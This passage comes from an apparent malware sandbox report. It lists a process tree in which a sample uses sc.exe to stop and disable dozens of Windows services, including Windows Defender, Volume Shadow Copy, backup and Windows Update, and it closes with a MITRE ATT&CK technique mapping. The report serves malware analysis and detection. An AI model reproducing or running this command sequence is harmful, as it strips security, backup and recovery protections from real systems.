      "sc" config Themes start= disabled
      4⤵
      PID:504
  - - C:\Windows\system32\sc.exe
      "sc" config TieringEngineService start= disabled
      4⤵
      PID:5980
  - - C:\Windows\system32\sc.exe
      "sc" stop TrkWks
      4⤵
      PID:4004
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4496
  - - C:\Windows\system32\sc.exe
      "sc" stop TroubleshootingSvc
      4⤵
      Launches sc.exe
      PID:4920
  - - C:\Windows\system32\sc.exe
      "sc" stop TrustedInstaller
      4⤵
      PID:1156
  - - C:\Windows\system32\sc.exe
      "sc" config TimeBrokerSvc start= disabled
      4⤵
      PID:4028
  - - C:\Windows\system32\sc.exe
      "sc" config TrkWks start= disabled
      4⤵
      PID:1268
  - - C:\Windows\system32\sc.exe
      "sc" stop tzautoupdate
      4⤵
      Launches sc.exe
      PID:3924
  - - C:\Windows\system32\sc.exe
      "sc" config TokenBroker start= disabled
      4⤵
      PID:3632
  - - C:\Windows\system32\sc.exe
      "sc" stop UevAgentService
      4⤵
      PID:1432
  - - C:\Windows\system32\sc.exe
      "sc" config TroubleshootingSvc start= disabled
      4⤵
      PID:2500
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2180
  - - C:\Windows\system32\sc.exe
      "sc" stop UmRdpService
      4⤵
      PID:2104
  - - C:\Windows\system32\sc.exe
      "sc" stop upnphost
      4⤵
      PID:256
  - - C:\Windows\system32\sc.exe
      "sc" config tzautoupdate start= disabled
      4⤵
      PID:2860
  - - C:\Windows\system32\sc.exe
      "sc" config TrustedInstaller start= disabled
      4⤵
      PID:4428
  - - C:\Windows\system32\sc.exe
      "sc" stop UserManager
      4⤵
      PID:2312
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5864
  - - C:\Windows\system32\sc.exe
      "sc" config UevAgentService start= disabled
      4⤵
      PID:2532
  - - C:\Windows\system32\sc.exe
      "sc" stop UsoSvc
      4⤵
      Launches sc.exe
      PID:3524
  - - C:\Windows\system32\sc.exe
      "sc" config UmRdpService start= disabled
      4⤵
      PID:4292
  - - C:\Windows\system32\sc.exe
      "sc" config upnphost start= disabled
      4⤵
      Launches sc.exe
      PID:3756
  - - C:\Windows\system32\sc.exe
      "sc" stop VaultSvc
      4⤵
      PID:3416
  - - C:\Windows\system32\sc.exe
      "sc" stop vds
      4⤵
      PID:3000
  - - C:\Windows\system32\sc.exe
      "sc" config UserManager start= disabled
      4⤵
      PID:1928
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2824
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicguestinterface
      4⤵
      PID:4216
  - - C:\Windows\system32\sc.exe
      "sc" config UsoSvc start= disabled
      4⤵
      PID:5424
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5040
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicheartbeat
      4⤵
      PID:568
  - - C:\Windows\system32\sc.exe
      "sc" stop vmickvpexchange
      4⤵
      PID:8
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicrdv
      4⤵
      PID:904
  - - C:\Windows\system32\sc.exe
      "sc" config vds start= disabled
      4⤵
      PID:1408
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3972
  - - C:\Windows\system32\sc.exe
      "sc" config VaultSvc start= disabled
      4⤵
      Launches sc.exe
      PID:1556
  - - C:\Windows\system32\sc.exe
      "sc" config vmicguestinterface start= disabled
      4⤵
      Launches sc.exe
      PID:4756
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicshutdown
      4⤵
      PID:3168
  - - C:\Windows\system32\sc.exe
      "sc" config vmickvpexchange start= disabled
      4⤵
      PID:5924
  - - C:\Windows\system32\sc.exe
      "sc" config vmicheartbeat start= disabled
      4⤵
      PID:2992
  - - C:\Windows\system32\sc.exe
      "sc" stop vmictimesync
      4⤵
      PID:4564
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4776
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicvmsession
      4⤵
      PID:5316
  - - C:\Windows\system32\sc.exe
      "sc" config vmicrdv start= disabled
      4⤵
      PID:3824
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicvss
      4⤵
      Launches sc.exe
      PID:5824
  - - C:\Windows\system32\sc.exe
      "sc" config vmicshutdown start= disabled
      4⤵
      PID:5688
  - - C:\Windows\system32\sc.exe
      "sc" stop VSS
      4⤵
      PID:2816
  - - C:\Windows\system32\sc.exe
      "sc" stop WaaSMedicSvc
      4⤵
      PID:1524
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5844
  - - C:\Windows\system32\sc.exe
      "sc" config vmictimesync start= disabled
      4⤵
      PID:3468
  - - C:\Windows\system32\sc.exe
      "sc" stop WalletService
      4⤵
      PID:5216
  - - C:\Windows\system32\sc.exe
      "sc" config vmicvss start= disabled
      4⤵
      PID:4968
  - - C:\Windows\system32\sc.exe
      "sc" config vmicvmsession start= disabled
      4⤵
      Launches sc.exe
      PID:352
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2844
  - - C:\Windows\system32\sc.exe
      "sc" stop WarpJITSvc
      4⤵
      Launches sc.exe
      PID:4936
  - - C:\Windows\system32\sc.exe
      "sc" config VSS start= disabled
      4⤵
      PID:3736
  - - C:\Windows\system32\sc.exe
      "sc" config WaaSMedicSvc start= disabled
      4⤵
      PID:3872
  - - C:\Windows\system32\sc.exe
      "sc" stop wbengine
      4⤵
      PID:4772
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1148
  - - C:\Windows\system32\sc.exe
      "sc" config WalletService start= disabled
      4⤵
      PID:5976
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:472
  - - C:\Windows\system32\sc.exe
      "sc" stop WbioSrvc
      4⤵
      PID:1312
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3904
  - - C:\Windows\system32\sc.exe
      "sc" stop Wcmsvc
      4⤵
      Launches sc.exe
      PID:1072
  - - C:\Windows\system32\sc.exe
      "sc" config WarpJITSvc start= disabled
      4⤵
      PID:5716
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4600
  - - C:\Windows\system32\sc.exe
      "sc" stop wcncsvc
      4⤵
      PID:1288
  - - C:\Windows\system32\sc.exe
      "sc" stop WdiServiceHost
      4⤵
      PID:5764
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:260
  - - C:\Windows\system32\sc.exe
      "sc" config wbengine start= disabled
      4⤵
      PID:4020
  - - C:\Windows\system32\sc.exe
      "sc" stop WdiSystemHost
      4⤵
      PID:3776
  - - C:\Windows\system32\sc.exe
      "sc" config WbioSrvc start= disabled
      4⤵
      PID:5888
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:436
  - - C:\Windows\system32\sc.exe
      "sc" config Wcmsvc start= disabled
      4⤵
      PID:5568
  - - C:\Windows\system32\sc.exe
      "sc" stop WdNisSvc
      4⤵
      PID:4272
  - - C:\Windows\system32\sc.exe
      "sc" config wcncsvc start= disabled
      4⤵
      PID:4908
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1028
  - - C:\Windows\system32\sc.exe
      "sc" stop WebClient
      4⤵
      Launches sc.exe
      PID:2076
  - - C:\Windows\system32\sc.exe
      "sc" config WdiServiceHost start= disabled
      4⤵
      PID:3988
  - - C:\Windows\system32\sc.exe
      "sc" stop webthreatdefsvc
      4⤵
      PID:4888
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1632
  - - C:\Windows\system32\sc.exe
      "sc" config WdiSystemHost start= disabled
      4⤵
      PID:2164
  - - C:\Windows\system32\sc.exe
      "sc" stop Wecsvc
      4⤵
      Launches sc.exe
      PID:3488
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5436
  - - C:\Windows\system32\sc.exe
      "sc" config WdNisSvc start= disabled
      4⤵
      Launches sc.exe
      PID:1816
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4476
  - - C:\Windows\system32\sc.exe
      "sc" stop WEPHOSTSVC
      4⤵
      Launches sc.exe
      PID:2660
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1580
  - - C:\Windows\system32\sc.exe
      "sc" config WebClient start= disabled
      4⤵
      PID:3048
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5816
  - - C:\Windows\system32\sc.exe
      "sc" stop wercplsupport
      4⤵
      PID:4004
  - - C:\Windows\system32\sc.exe
      "sc" config webthreatdefsvc start= disabled
      4⤵
      PID:2228
  - - C:\Windows\system32\sc.exe
      "sc" stop WerSvc
      4⤵
      Launches sc.exe
      PID:3424
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3172
  - - C:\Windows\system32\sc.exe
      "sc" stop WFDSConMgrSvc
      4⤵
      PID:1236
  - - C:\Windows\system32\sc.exe
      "sc" config Wecsvc start= disabled
      4⤵
      PID:3832
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2640
  - - C:\Windows\system32\sc.exe
      "sc" config WEPHOSTSVC start= disabled
      4⤵
      PID:1704
  - - C:\Windows\system32\sc.exe
      "sc" stop WiaRpc
      4⤵
      PID:5640
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5956
  - - C:\Windows\system32\sc.exe
      "sc" config wercplsupport start= disabled
      4⤵
      PID:5808
  - - C:\Windows\system32\sc.exe
      "sc" stop WinDefend
      4⤵
      PID:3820
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1156
  - - C:\Windows\system32\sc.exe
      "sc" config WerSvc start= disabled
      4⤵
      PID:4000
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4436
  - - C:\Windows\system32\sc.exe
      "sc" config WFDSConMgrSvc start= disabled
      4⤵
      PID:3464
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2884
  - - C:\Windows\system32\sc.exe
      "sc" config WiaRpc start= disabled
      4⤵
      PID:3028
  - - C:\Windows\system32\sc.exe
      "sc" stop WinHttpAutoProxySvc
      4⤵
      Launches sc.exe
      PID:2588
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3448
  - - C:\Windows\system32\sc.exe
      "sc" stop Winmgmt
      4⤵
      PID:1244
  - - C:\Windows\system32\sc.exe
      "sc" stop WinRM
      4⤵
      PID:712
  - - C:\Windows\system32\sc.exe
      "sc" config WinDefend start= disabled
      4⤵
      PID:1960
  - - C:\Windows\system32\sc.exe
      "sc" stop wisvc
      4⤵
      PID:2532
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2580
  - - C:\Windows\system32\sc.exe
      "sc" stop WlanSvc
      4⤵
      PID:5948
  - - C:\Windows\system32\sc.exe
      "sc" config WinHttpAutoProxySvc start= disabled
      4⤵
      PID:2480
  - - C:\Windows\system32\sc.exe
      "sc" stop wlidsvc
      4⤵
      PID:5852
  - - C:\Windows\system32\sc.exe
      "sc" config Winmgmt start= disabled
      4⤵
      PID:2820
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3724
  - - C:\Windows\system32\sc.exe
      "sc" stop wlpasvc
      4⤵
      PID:2996
  - - C:\Windows\system32\sc.exe
      "sc" config WinRM start= disabled
      4⤵
      PID:2980
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3000
  - - C:\Windows\system32\sc.exe
      "sc" config WlanSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4216
  - - C:\Windows\system32\sc.exe
      "sc" config wisvc start= disabled
      4⤵
      PID:4116
  - - C:\Windows\system32\sc.exe
      "sc" config wlidsvc start= disabled
      4⤵
      PID:2388
  - - C:\Windows\system32\sc.exe
      "sc" stop WManSvc
      4⤵
      PID:2488
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1740
  - - C:\Windows\system32\sc.exe
      "sc" stop wmiApSrv
      4⤵
      PID:5044
  - - C:\Windows\system32\sc.exe
      "sc" config wlpasvc start= disabled
      4⤵
      PID:5900
  - - C:\Windows\system32\sc.exe
      "sc" stop WMPNetworkSvc
      4⤵
      PID:1668
  - - C:\Windows\system32\sc.exe
      "sc" stop workfolderssvc
      4⤵
      PID:5708
  - - C:\Windows\system32\sc.exe
      "sc" stop WpcMonSvc
      4⤵
      PID:3032
  - - C:\Windows\system32\sc.exe
      "sc" config WManSvc start= disabled
      4⤵
      PID:2436
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1276
  - - C:\Windows\system32\sc.exe
      "sc" stop WPDBusEnum
      4⤵
      PID:1596
  - - C:\Windows\system32\sc.exe
      "sc" config wmiApSrv start= disabled
      4⤵
      PID:5856
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4644
  - - C:\Windows\system32\sc.exe
      "sc" stop WpnService
      4⤵
      Launches sc.exe
      PID:3244
  - - C:\Windows\system32\sc.exe
      "sc" config WMPNetworkSvc start= disabled
      4⤵
      PID:4564
  - - C:\Windows\system32\sc.exe
      "sc" config WpcMonSvc start= disabled
      4⤵
      PID:5824
  - - C:\Windows\system32\sc.exe
      "sc" config workfolderssvc start= disabled
      4⤵
      PID:3984
  - - C:\Windows\system32\sc.exe
      "sc" stop WSAIFabricSvc
      4⤵
      PID:1400
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6088
  - - C:\Windows\system32\sc.exe
      "sc" config WPDBusEnum start= disabled
      4⤵
      Launches sc.exe
      PID:4700
  - - C:\Windows\system32\sc.exe
      "sc" stop wscsvc
      4⤵
      PID:3068
  - - C:\Windows\system32\sc.exe
      "sc" config WpnService start= disabled
      4⤵
      Launches sc.exe
      PID:5484
  - - C:\Windows\system32\sc.exe
      "sc" stop WSearch
      4⤵
      PID:1132
  - - C:\Windows\system32\sc.exe
      "sc" stop wuauserv
      4⤵
      PID:6080
  - - C:\Windows\system32\sc.exe
      "sc" stop WwanSvc
      4⤵
      Launches sc.exe
      PID:3468
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4380
  - - C:\Windows\system32\sc.exe
      "sc" config WSAIFabricSvc start= disabled
      4⤵
      PID:2040
  - - C:\Windows\system32\sc.exe
      "sc" stop XblAuthManager
      4⤵
      Launches sc.exe
      PID:5728
  - - C:\Windows\system32\sc.exe
      "sc" stop XblGameSave
      4⤵
      PID:4176
  - - C:\Windows\system32\sc.exe
      "sc" config wscsvc start= disabled
      4⤵
      PID:5140
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4432
  - - C:\Windows\system32\sc.exe
      "sc" config WSearch start= disabled
      4⤵
      Launches sc.exe
      PID:3700
  - - C:\Windows\system32\sc.exe
      "sc" stop XboxGipSvc
      4⤵
      PID:2192
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4240
  - - C:\Windows\system32\sc.exe
      "sc" config wuauserv start= disabled
      4⤵
      PID:5124
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1812
  - - C:\Windows\system32\sc.exe
      "sc" config XblAuthManager start= disabled
      4⤵
      Launches sc.exe
      PID:5552
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4264
  - - C:\Windows\system32\sc.exe
      "sc" config WwanSvc start= disabled
      4⤵
      PID:4768
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4012
  - - C:\Windows\system32\sc.exe
      "sc" config XblGameSave start= disabled
      4⤵
      PID:6008
  - - C:\Windows\system32\sc.exe
      "sc" stop XboxNetApiSvc
      4⤵
      PID:2160
  - - C:\Windows\system32\sc.exe
      "sc" stop AarSvc_23e9e
      4⤵
      PID:4752
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1796
  - - C:\Windows\system32\sc.exe
      "sc" config XboxGipSvc start= disabled
      4⤵
      PID:3928
  - - C:\Windows\system32\sc.exe
      "sc" stop BcastDVRUserService_23e9e
      4⤵
      PID:1304
  - - C:\Windows\system32\sc.exe
      "sc" stop BluetoothUserService_23e9e
      4⤵
      PID:5036
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4016
  - - C:\Windows\system32\sc.exe
      "sc" stop CaptureService_23e9e
      4⤵
      PID:2384
  - - C:\Windows\system32\sc.exe
      "sc" stop cbdhsvc_23e9e
      4⤵
      PID:3060
  - - C:\Windows\system32\sc.exe
      "sc" config XboxNetApiSvc start= disabled
      4⤵
      PID:4908
  - - C:\Windows\system32\sc.exe
      "sc" config AarSvc_23e9e start= disabled
      4⤵
      PID:2292
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2076
  - - C:\Windows\system32\sc.exe
      "sc" stop CDPUserSvc_23e9e
      4⤵
      PID:4024
  - - C:\Windows\system32\sc.exe
      "sc" config BcastDVRUserService_23e9e start= disabled
      4⤵
      PID:3444
  - - C:\Windows\system32\sc.exe
      "sc" config CaptureService_23e9e start= disabled
      4⤵
      PID:4888
  - - C:\Windows\system32\sc.exe
      "sc" config BluetoothUserService_23e9e start= disabled
      4⤵
      PID:5980
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2164
  - - C:\Windows\system32\sc.exe
      "sc" config cbdhsvc_23e9e start= disabled
      4⤵
      PID:1756
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3488
  - - C:\Windows\system32\sc.exe
      "sc" stop CloudBackupRestoreSvc_23e9e
      4⤵
      PID:3384
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2660
  - - C:\Windows\system32\sc.exe
      "sc" config CDPUserSvc_23e9e start= disabled
      4⤵
      PID:2432
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3456
  - - C:\Windows\system32\sc.exe
      "sc" stop ConsentUxUserSvc_23e9e
      4⤵
      PID:5984
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4392
  - - C:\Windows\system32\sc.exe
      "sc" stop CredentialEnrollmentManagerUserSvc_23e9e
      4⤵
      PID:5908
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4056
  - - C:\Windows\system32\sc.exe
      "sc" stop DeviceAssociationBrokerSvc_23e9e
      4⤵
      PID:3608
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6072
  - - C:\Windows\system32\sc.exe
      "sc" stop DevicePickerUserSvc_23e9e
      4⤵
      Launches sc.exe
      PID:5632
  - - C:\Windows\system32\sc.exe
      "sc" stop DevicesFlowUserSvc_23e9e
      4⤵
      PID:4728
  - - C:\Windows\system32\sc.exe
      "sc" config CloudBackupRestoreSvc_23e9e start= disabled
      4⤵
      PID:2788
  - - C:\Windows\system32\sc.exe
      "sc" stop MessagingService_23e9e
      4⤵
      PID:1040
  - - C:\Windows\system32\sc.exe
      "sc" config ConsentUxUserSvc_23e9e start= disabled
      4⤵
      PID:2880
  - - C:\Windows\system32\sc.exe
      "sc" config CredentialEnrollmentManagerUserSvc_23e9e start= disabled
      4⤵
      PID:3480
  - - C:\Windows\system32\sc.exe
      "sc" config DeviceAssociationBrokerSvc_23e9e start= disabled
      4⤵
      PID:5808
  - - C:\Windows\system32\sc.exe
      "sc" config DevicesFlowUserSvc_23e9e start= disabled
      4⤵
      PID:5932
  - - C:\Windows\system32\sc.exe
      "sc" config DevicePickerUserSvc_23e9e start= disabled
      4⤵
      PID:4064
  - - C:\Windows\system32\sc.exe
      "sc" config RmSvc start= disabled
      4⤵
      Launches sc.exe
      PID:2312
  - - C:\Windows\system32\sc.exe
      "sc" stop NPSMSvc_23e9e
      4⤵
      PID:2612
  - - C:\Windows\system32\sc.exe
      "sc" config MessagingService_23e9e start= disabled
      4⤵
      PID:5520
  - - C:\Windows\system32\sc.exe
      "sc" stop OneSyncSvc_23e9e
      4⤵
      Launches sc.exe
      PID:5020
  - - C:\Windows\system32\sc.exe
      "sc" stop P9RdrService_23e9e
      4⤵
      PID:6040
  - - C:\Windows\system32\sc.exe
      "sc" stop PenService_23e9e
      4⤵
      PID:1272
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1928
  - - C:\Windows\system32\sc.exe
      "sc" stop PimIndexMaintenanceSvc_23e9e
      4⤵
      PID:712
  - - C:\Windows\system32\sc.exe
      "sc" stop PrintWorkflowUserSvc_23e9e
      4⤵
      PID:2424
  - - C:\Windows\system32\sc.exe
      "sc" stop UdkUserSvc_23e9e
      4⤵
      PID:2132
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5212
  - - C:\Windows\system32\sc.exe
      "sc" config NPSMSvc_23e9e start= disabled
      4⤵
      PID:3748
  - - C:\Windows\system32\sc.exe
      "sc" stop UnistoreSvc_23e9e
      4⤵
      PID:2236
  - - C:\Windows\system32\sc.exe
      "sc" config OneSyncSvc_23e9e start= disabled
      4⤵
      PID:1316
  - - C:\Windows\system32\sc.exe
      "sc" config P9RdrService_23e9e start= disabled
      4⤵
      PID:2600
  - - C:\Windows\system32\sc.exe
      "sc" config PenService_23e9e start= disabled
      4⤵
      PID:2568
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4216
  - - C:\Windows\system32\sc.exe
      "sc" config PimIndexMaintenanceSvc_23e9e start= disabled
      4⤵
      Launches sc.exe
      PID:3124
  - - C:\Windows\system32\sc.exe
      "sc" config PrintWorkflowUserSvc_23e9e start= disabled
      4⤵
      PID:2716
  - - C:\Windows\system32\sc.exe
      "sc" stop UserDataSvc_23e9e
      4⤵
      PID:2936
  - - C:\Windows\system32\sc.exe
      "sc" config UdkUserSvc_23e9e start= disabled
      4⤵
      PID:5556
  - - C:\Windows\system32\sc.exe
      "sc" config UnistoreSvc_23e9e start= disabled
      4⤵
      PID:3040
  - - C:\Windows\system32\sc.exe
      "sc" stop webthreatdefusersvc_23e9e
      4⤵
      PID:2808
  - - C:\Windows\system32\sc.exe
      "sc" stop WpnUserService_23e9e
      4⤵
      PID:5044
  - - C:\Windows\system32\sc.exe
      "sc" config UserDataSvc_23e9e start= disabled
      4⤵
      PID:5708
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3168
  - - C:\Windows\system32\sc.exe
      "sc" config webthreatdefusersvc_23e9e start= disabled
      4⤵
      Launches sc.exe
      PID:3032
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1376
  - - C:\Windows\system32\sc.exe
      "sc" config WpnUserService_23e9e start= disabled
      4⤵
      PID:3404
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6024

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:688

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1488 -s 836
1⤵
PID:2052

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Power Settings

T1653

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Indicator Removal

T1070

Clear Persistence

T1070.009

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Modify Registry